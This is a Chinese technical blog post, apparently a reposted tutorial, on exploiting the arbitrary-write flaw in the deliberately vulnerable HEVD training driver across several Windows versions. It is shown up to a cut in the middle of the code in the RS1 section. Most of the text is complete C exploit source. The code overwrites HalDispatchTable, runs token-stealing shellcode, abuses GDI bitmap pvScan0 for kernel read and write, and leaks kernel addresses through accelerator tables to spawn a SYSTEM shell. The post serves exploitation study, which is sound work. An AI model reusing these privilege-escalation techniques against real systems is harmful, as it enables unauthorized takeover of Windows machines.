【技术分享】从TH2到RS3看WWW漏洞的攻与防

admin 2021年12月7日10:42:20安全文章评论63 views47097字阅读156分59秒阅读模式

【技术分享】从TH2到RS3看WWW漏洞的攻与防

 

0×0
注意点&环境

~多图预警~

  • 环境

我使用的环境
物理机OS:windows 10
虚拟机OS:win7_x86&&win10_x64_1511( TH2 )&&win10_x64_1607( RS1 )&&win10_x64_1703( RS2 )&&win10_x64_1709( RS3 )
VMware:VMware Workstation 15 Pro
编译器:vs2019
驱动: HEVD 1.2
驱动加载工具:VirtualKD-Redux-2021.2
调试器:Microsoft Store上直接下的windbg preview版

  • 要注意的地方&&一些知识点

要注意的地方就一点,就是把虚拟机的网络给ban掉,不然它会把你的exploit给删掉,还会出现很奇怪的错误,不利于学习.

 

1
漏洞点

漏洞点其实很简单,就是指针滥用.上图~~~

【技术分享】从TH2到RS3看WWW漏洞的攻与防

然后效果的话,大概是这样

【技术分享】从TH2到RS3看WWW漏洞的攻与防

 

0×2
win7-x86下的WWW

其实这个相当于番外,不影响后面的观看体验.
这里我们依旧采取的是替换Token的方式.如果你不知道怎么替换Token,推荐阅读我的上一篇文章
HEVD驱动栈溢出&&WIN10 SMEP 绕过
我们有WWW漏洞了,那么我们该怎么替换Token呢?
其实我们这里用到了 NtQueryIntervalProfile 函数和 HalQuerySystemInformation 函数.上图

【技术分享】从TH2到RS3看WWW漏洞的攻与防

不过我这里是直接将 HalDispatchTable+0x4 地址改成 shellcode的地址.(emmm不知道这么回事我这里没法看NtQueryIntervalProfile 函数和 HalQuerySystemInformation 函数的反汇编).大概是这么一行关键代码

call    dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]

exp也挺简单的,找到 HalDispatchTable+0x4 的地址后用漏洞改成shellcode的地址就可以了.代码:

#include<Windows.h>#include<stdio.h>#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE             CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)#define IO_COMPLETION_OBJECT 1#define STATUS_SUCCESS 0x00000000#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token#define SYSTEM_PID         0x004  // SYSTEM Process PID
const char kDevName[] = "\.HackSysExtremeVulnerableDriver";
static VOID CreateCmd(){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);}
HANDLE open_device(const char* device_name){ HANDLE device = CreateFileA(device_name, GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL ); return device;}
typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
#define p printf;NtQuerySystemInformation_t NtQuerySystemInformation;PVOID GetHalDispatchTable() { PVOID HalDispatchTable = 0; SIZE_T ReturnLength; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL; HMODULE hNtDll = LoadLibrary(L"ntdll.dll"); if (!hNtDll) { printf("ttt[-] Failed To Load NtDll.dll: 0x%Xn", GetLastError()); }
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("ttt[-] Failed Resolving NtQuerySystemInformation: 0x%Xn", GetLastError()); exit(EXIT_FAILURE); }
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ReturnLength); if (!pSystemModuleInformation) { printf("ttt[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%Xn", GetLastError()); exit(EXIT_FAILURE); }
NtStatus = NtQuerySystemInformation(SystemModuleInformation, pSystemModuleInformation, ReturnLength, &ReturnLength); if (NtStatus != STATUS_SUCCESS) { printf("ttt[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%Xn", GetLastError()); exit(EXIT_FAILURE); }
PVOID KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base; PCHAR KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '') + 1; printf("ttt[+] Loaded Kernel: %sn", KernelImage); printf("ttt[+] Kernel Base Address: 0x%pn", KernelBaseAddressInKernelMode);
HMODULE hKernelInUserMode = LoadLibraryA(KernelImage); if (!hKernelInUserMode) { p("ttt[-] Failed To Load Kernel: 0x%Xn", GetLastError()); exit(EXIT_FAILURE); }
HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable"); if (!HalDispatchTable) { p("ttt[-] Failed Resolving HalDispatchTable: 0x%Xn", GetLastError()); } else { HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)hKernelInUserMode); HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)KernelBaseAddressInKernelMode); ("ttt[+] HalDispatchTable: 0x%pn", HalDispatchTable); }; HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation); if (hNtDll) { FreeLibrary(hNtDll); }
if (hKernelInUserMode) { FreeLibrary(hKernelInUserMode); }
hNtDll = NULL; hKernelInUserMode = NULL; pSystemModuleInformation = NULL; return HalDispatchTable;}
typedef struct _WRITE_WHAT_WHERE { PULONG What; PULONG Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
VOID TokenStealingPayloadWin7Generic() { // No Need of Kernel Recovery as we are not corrupting anything __asm { pushad; Save registers state
; Start of Token Stealing Stub xor eax, eax; Set ZERO mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread ; _KTHREAD is located at FS : [0x124]
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID: mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token ; with SYSTEM process nt!_EPROCESS.Token ; End of Token Stealing Stub
popad; Restore registers state }}
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
int main(){ ULONG Interval = 0; PVOID EopPayload = &TokenStealingPayloadWin7Generic; ULONG BytesReturned = NULL; HANDLE hFile = open_device(kDevName); PVOID HalDispatchTable = GetHalDispatchTable(); PVOID HalDispatchTablePlus4 = (PVOID)((ULONG)HalDispatchTable + sizeof(PVOID)); PWRITE_WHAT_WHERE WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WRITE_WHAT_WHERE)); WriteWhatWhere->What = (PULONG)&EopPayload; WriteWhatWhere->Where = (PULONG)HalDispatchTablePlus4; DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE, (LPVOID)WriteWhatWhere, sizeof(WriteWhatWhere), NULL, 0, &BytesReturned, NULL); //__debugbreak(); HMODULE hNtDll = LoadLibrary(L"ntdll.dll"); NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile"); NtQueryIntervalProfile(0x666, &Interval); HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere);
WriteWhatWhere = NULL; CreateCmd(); system("pause");}

值得一提的是 NtQueryIntervalProfile 这个函数的第一个参数不能是0和1,详细可以参考<0day安全>和.
可以看到最后是成功了的.

【技术分享】从TH2到RS3看WWW漏洞的攻与防

 

0×3
TH2下的WWW

TH2下的WWW利用主要用到了一个叫做 bitmap 的对象.而bitmap内核对象中有个叫做 pvScan0 的指针,指向结构中的一块数据区域.

【技术分享】从TH2到RS3看WWW漏洞的攻与防

再加上 SetBitmapBits 函数和 GetBitmapBits 函数能对 pvScan0 进行读写,所以如果我们能改掉 pvScan0 指针,使其中一个bitmap对象的pvScan0指针指向另一个bitmap对象的pvScan0指针,就能进行任意地址读写.如图

【技术分享】从TH2到RS3看WWW漏洞的攻与防

这里创建了两个bitmap对象,其中一个叫hManager,另一个叫hWorker(当然叫其他的也可以),我们用WWW漏洞把hWorker的pvScan0指针覆盖掉,这样当我们对hManager用SetBitmapBits函数进行任意写时,改的就是hWorker的pvScan0指针.当我们对hWorker用GetBitmapBits/SetBitmapBits函数进行读/写时,读写的内容就是hManager传递过来的指针的值.
那么问题来了,GetBitmapBits/SetBitmapBits函数怎么使用呢?
其中SetBitmapBits函数长这样:

LONG SetBitmapBits(  HBITMAP    hbm,  DWORD      cb,  const VOID *pvBits);

GetBitmapBits类似
其中第一个参数是句柄,使用CreateBitmap函数创建bitmap对象就能得到.像这样:

HBITMAP hManager = CreateBitmap(0x640x64132NULL);
二个参数是第三个参数指向的字节数,可以理解为要读写的数据长度.
第三个参数就是pvScan0指针.怎么得到呢?
直接上代码.参考
DWORD64 getpvScan0Address(HBITMAP handle) {    printf("    handle value: 0x%pn", (DWORD64)handle);
DWORD64 tebAddr = (DWORD64)NtCurrentTeb(); printf(" tebAddr: 0x%pn", tebAddr);
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60); printf(" pebAddr: 0x%pn", pebAddr);
DWORD64 GdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8); printf(" GdiSharedHandleTableAddr: 0x%pn", GdiSharedHandleTableAddr);
// GdiSharedHandleTableAddr 是一个指向GDICELL结构体数组的指针 // GDICELL 结构体 x86 0x10,x64 0x18 DWORD64 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD64)handle & 0xffff) * 0x18; printf(" pKernelAddress: 0x%pn", pKernelAddress);
DWORD64 surfaceObject = *(PDWORD64)pKernelAddress; printf(" surfaceObject address: 0x%pn", surfaceObject); // BASEOBJECT 结构体 x86 0x10,x64 0x18 // pvScan0 在 SURFOBJ 结构体中的偏移 x86 0x20,x64 0x38 DWORD64 pvScan0Address = surfaceObject + 0x18 + 0x38; printf(" pvScan0 address: 0x%pn", pvScan0Address);
return pvScan0Address;}

然后就是替换Token了,原理是一样的,不过由汇编语言变成了C语言.
我的exploit:

#include<stdio.h>#include<Windows.h>


typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemModuleInformation = 11, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG NumberOfModules; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
DWORD64 getpvScan0Address(HBITMAP handle) { printf(" handle value: 0x%pn", (DWORD64)handle);
DWORD64 tebAddr = (DWORD64)NtCurrentTeb(); printf(" tebAddr: 0x%pn", tebAddr);
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60); printf(" pebAddr: 0x%pn", pebAddr);
DWORD64 GdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8); printf(" GdiSharedHandleTableAddr: 0x%pn", GdiSharedHandleTableAddr);
// GdiSharedHandleTableAddr 是一个指向GDICELL结构体数组的指针 // GDICELL 结构体 x86 0x10,x64 0x18 DWORD64 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD64)handle & 0xffff) * 0x18; printf(" pKernelAddress: 0x%pn", pKernelAddress);
DWORD64 surfaceObject = *(PDWORD64)pKernelAddress; printf(" surfaceObject address: 0x%pn", surfaceObject); // BASEOBJECT 结构体 x86 0x10,x64 0x18 // pvScan0 在 SURFOBJ 结构体中的偏移 x86 0x20,x64 0x38 DWORD64 pvScan0Address = surfaceObject + 0x18 + 0x38; printf(" pvScan0 address: 0x%pn", pvScan0Address);
return pvScan0Address;}
VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len){ SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值 // 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写 GetBitmapBits(hWorker, len, whatWrite);}
VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len){ SetBitmapBits(hManager, len, &whereWrite); SetBitmapBits(hWorker, len, &whatWrite);}
static VOID CreateCmd(){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);}
int main() { HBITMAP hManager = CreateBitmap(0x64, 0x64, 1, 32, NULL); HBITMAP hWorker = CreateBitmap(0x64, 0x64, 1, 32, NULL);
LPVOID lpSystemEPROCESS = NULL; DWORD len = 0;
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL; _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation"); NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
typedef struct _payload { PULONG what; PULONG where; } Payload, * PPayload;
DWORD64 ManagerpvScan0Address = getpvScan0Address(hManager); //printf("manger pvscan0 address is %pn", ManagerpvScan0Address); DWORD64 WorkerpvScan0Address = getpvScan0Address(hWorker); //printf("worker pvscan0 address is %pn", WorkerpvScan0Address); PPayload payload = (PPayload)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(Payload));
payload->what = (PULONG)&WorkerpvScan0Address; payload->where = (PULONG)ManagerpvScan0Address; DWORD BytesReturned = 0; HANDLE hDevice = CreateFileA("\.HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL); DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL); //__debugbreak(); NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len); LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName); //printf("aaaaaan"); printf("[+]kernel name is: %sn", lpkernelName); LPVOID kernelBase = moduleInfo->Module[0].ImageBase; HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0); FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
LPVOID lpSysProcID = NULL; LPVOID lpSystemToken = NULL; LIST_ENTRY lpNextEntryAddreess; FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase); printf("addr ======%pn", pLiveFunctionAddress); readOOB(hManager, hWorker, (DWORD64)pLiveFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID)); readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2e8), &lpSysProcID, sizeof(LPVOID)); readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x358), &lpSystemToken, sizeof(LPVOID)); readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY)); printf("[+]system process address is: 0x%pn", lpSystemEPROCESS); printf("[+]Next Process AT: 0x%pn", lpNextEntryAddreess.Flink); printf("[+]system process token value is: 0x%pn", lpSystemToken); printf("[+]system process PID is: 0x%pn", lpSysProcID); DWORD64 currentProcessID = GetCurrentProcessId(); printf("currentProcessID ---->0x%xn", currentProcessID); LPVOID lpNextEPROCESS = NULL; LPVOID lpCurrentPID = NULL; LPVOID lpCurrentToken = NULL; DWORD dwCurrentPID; do { lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2f0; readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e8), &lpCurrentPID, sizeof(LPVOID)); dwCurrentPID = LOWORD(lpCurrentPID); printf("dwCurrentPID ---->0x%xn", dwCurrentPID); readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpNextEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY)); } while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358; printf("[+]Start to write token"); writeOOB(hManager, hWorker, currentTokenAddress, lpSystemToken, sizeof(LPVOID)); printf(" => done!n"); CreateCmd(); system("pause"); return 0;}

可以看到最后是成功了的.

【技术分享】从TH2到RS3看WWW漏洞的攻与防

总结一下这次漏洞利用的过程:
1.创建两个bitmap对象
2.找到两个bitmap对象的pvScan0地址
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token

 

0×4
RS1下的WWW

接下来我们来到RS1下的WWW.

我们直接拿着TH2下的exp运行,发现直接蓝屏了.

【技术分享】从TH2到RS3看WWW漏洞的攻与防

嗯?怎么回事?查阅资料后,你会发现这个:

【技术分享】从TH2到RS3看WWW漏洞的攻与防

哦,原来”Leaking kernel addresses by reading user32!gSharedInfo structure”被kill掉了.
那么图中提到的 user32!gSharedInfo 是什么呢?我觉得可以对应上TH2下的这段代码

DWORD64 getpvScan0Address(HBITMAP handle) {    ......}

然后调试发现确实不能用了

【技术分享】从TH2到RS3看WWW漏洞的攻与防

那怎么办呢?记住一句话,攻与防从来都是相对的.
先上图

【技术分享】从TH2到RS3看WWW漏洞的攻与防

看第二段,我们可以通过 AcceleratorTables 间接泄露.对应到这段代码:

    PUSER_HANDLE_ENTRY leakAddr = NULL;    PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle("user32.dll"), "gSharedInfo");    PUSER_HANDLE_ENTRY handleTable = gSharedInfo->aheList;
int nSize = 698;
LPACCEL lPaccel = NULL; // LPTR 意为 LMEM_FIXED | LMEM_ZEROINIT,即分配固定内存并初始化为 0 lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
HACCEL hAccel_1 = NULL;
hAccel_1 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_1)]; DWORD64 hManagerAddr = (DWORD64)(leakAddr->pKernel); //printf("Manager bitmap addr: 0x%pn", hManagerAddr); DestroyAcceleratorTable(hAccel_1); HBITMAP hManagerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
HACCEL hAccel_2 = NULL;
hAccel_2 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_2)]; DWORD64 hWorkerAddr = (DWORD64)(leakAddr->pKernel); //printf("Worker bitmap addr: 0x%pn", hWorkerAddr); DestroyAcceleratorTable(hAccel_2);

需要注意的是这里要定义很多结构体.
泄露了地址之后,其他的就跟TH2下的利用一样了.代码贴贴:

#include <windows.h>#include<stdio.h>



typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemModuleInformation = 11, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength );


typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)( IN ULONG ProfileSource, OUT PULONG Interval );
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256];} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION { ULONG NumberOfModules; SYSTEM_MODULE_INFORMATION_ENTRY Module[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _SERVERINFO { DWORD dwSRVIFlags; DWORD cHandleEntries; WORD wSRVIFlags; WORD wRIPPID; WORD wRIPError;} SERVERINFO, * PSERVERINFO;
typedef struct _USER_HANDLE_ENTRY { void* pKernel; union { PVOID pi; PVOID pti; PVOID ppi; }; BYTE type; BYTE flags; WORD generation;} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
typedef struct _SHAREDINFO { PSERVERINFO psi; PUSER_HANDLE_ENTRY aheList; ULONG HeEntrySize; ULONG_PTR pDispInfo; ULONG_PTR ulSharedDelts; ULONG_PTR awmControl; ULONG_PTR DefWindowMsgs; ULONG_PTR DefWindowSpecMsgs;} SHAREDINFO, * PSHAREDINFO;

typedef struct _payload { PULONG_PTR what; PULONG_PTR where;} Payload, * PPayload;
VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len){ SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值 // 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写 GetBitmapBits(hWorker, len, whatWrite);}
VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len){ SetBitmapBits(hManager, len, &whereWrite); SetBitmapBits(hWorker, len, &whatWrite);}
static VOID CreateCmd(){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);}

int main(){


PUSER_HANDLE_ENTRY leakAddr = NULL; PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle("user32.dll"), "gSharedInfo"); PUSER_HANDLE_ENTRY handleTable = gSharedInfo->aheList;
int nSize = 698;
LPACCEL lPaccel = NULL; // LPTR 意为 LMEM_FIXED | LMEM_ZEROINIT,即分配固定内存并初始化为 0 lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
HACCEL hAccel_1 = NULL;
hAccel_1 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_1)]; DWORD64 hManagerAddr = (DWORD64)(leakAddr->pKernel); //printf("Manager bitmap addr: 0x%pn", hManagerAddr); DestroyAcceleratorTable(hAccel_1); HBITMAP hManagerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
HACCEL hAccel_2 = NULL;
hAccel_2 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_2)]; DWORD64 hWorkerAddr = (DWORD64)(leakAddr->pKernel); //printf("Worker bitmap addr: 0x%pn", hWorkerAddr); DestroyAcceleratorTable(hAccel_2); HBITMAP hWorkerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL); // ------我是分割线------
// 到这里我们已经获得 bitmap 的地址了,接下来就跟 RS1 之前一样利用 bitmap 就好了
DWORD64 ManagerpvScan0Address = hManagerAddr + 0x18 + 0x38; printf("Manager pvScan0 Addr: 0x%pn", ManagerpvScan0Address); DWORD64 WorkerpvScan0Address = hWorkerAddr + 0x18 + 0x38; printf("Worker pvScan0 Addr: 0x%pn", WorkerpvScan0Address);
PPayload payload = NULL; // malloc payload = (PPayload)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(Payload)); payload->what = (PULONG_PTR)&WorkerpvScan0Address; payload->where = (PULONG_PTR)ManagerpvScan0Address;
printf("payload---->what %llXn", payload->what); printf("payload->where %llXn", payload->where);
DWORD BytesReturned = 0; HANDLE hDevice = CreateFileA("\.HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL); DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);
// 已经 overwrite 了,接下来就是利用 SetBitmapBits 和 GetBitmapBits 来读写 _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation) GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation"); PSYSTEM_MODULE_INFORMATION moduleInfo = NULL; DWORD len = 0; NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD64 systemEprocessAddr = 0; LPVOID lpSystemToken = NULL; // 获取 system 进程的 token NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len); LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName); //printf("aaaaaan"); printf("[+]kernel name is: %sn", lpkernelName); LPVOID kernelBase = moduleInfo->Module[0].ImageBase; HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0); FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess"); FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase); printf("pLiveFunctionAddress ======%pn", pLiveFunctionAddress); readOOB(hManagerbitmap, hWorkerbitmap, (DWORD64)pLiveFunctionAddress, &systemEprocessAddr, sizeof(DWORD64));
readOOB(hManagerbitmap, hWorkerbitmap, (systemEprocessAddr + 0x358), &lpSystemToken, sizeof(DWORD64));
printf("system eprocess addr: 0x%pn", systemEprocessAddr);
// _eprocess + 0x0f8 是 token 0x358 // _eprocess + 0x0B8 是 ActiveProcessLinks.Flink 0x2f0 // _eprocess + 0x0b4 是 processid 0x2e8 // 获取当前进程的 _eprocess DWORD64 lpNextEPROCESS = 0; LPVOID lpCurrentPID = NULL; DWORD64 dwCurrentPID; LIST_ENTRY lpNextEntryAddreess = { 0 }; DWORD64 currentProcessID = GetCurrentProcessId(); // 通过PID判断是否获取到当前进程的地址 readOOB(hManagerbitmap, hWorkerbitmap, systemEprocessAddr + 0x2f0, &lpNextEntryAddreess, sizeof(LIST_ENTRY));
